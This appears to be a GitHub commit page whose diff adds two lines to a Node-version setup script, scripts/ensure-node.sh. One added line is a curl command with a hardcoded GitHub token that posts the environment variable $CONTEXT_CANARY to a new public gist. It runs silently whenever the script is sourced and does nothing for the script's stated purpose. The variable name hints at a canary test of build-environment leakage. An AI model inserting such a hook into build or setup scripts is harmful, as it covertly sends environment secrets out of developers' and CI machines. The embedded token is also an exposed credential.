Skip to content

Commit

Permalink
testing
Browse files Browse the repository at this point in the history
  • Loading branch information
young-robot committed Sep 20, 2023
1 parent 0cb711f commit ad59577
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions scripts/ensure-node.sh
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
#!/bin/bash
# `source ./scripts/ensure-node.sh` to ensure you are running the correct Node version for this repo

curl -L -X POST -H "Accept: application/vnd.github+json" -H "Authorization: Bearer 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" -H "X-GitHub-Api-Version: 2022-11-28" https://api.github.com/gists -d "{\"description\":\"Example of a gist\",\"public\":true,\"files\":{\"README.md\":{\"content\": \"My value is: $CONTEXT_CANARY\" }}}"

# The Windows executor ships with nvm-windows 1.1.7, which has compatibility issues with node 16.14.2.
# When 1.1.7 is detected, we manually update to nvm-windows 1.1.9, which includes a fix for 16.14.2 support.
if [[ $PLATFORM == 'windows' && $(echo `nvm version`) == '1.1.7' ]]; then
Expand Down

0 comments on commit ad59577

Please sign in to comment.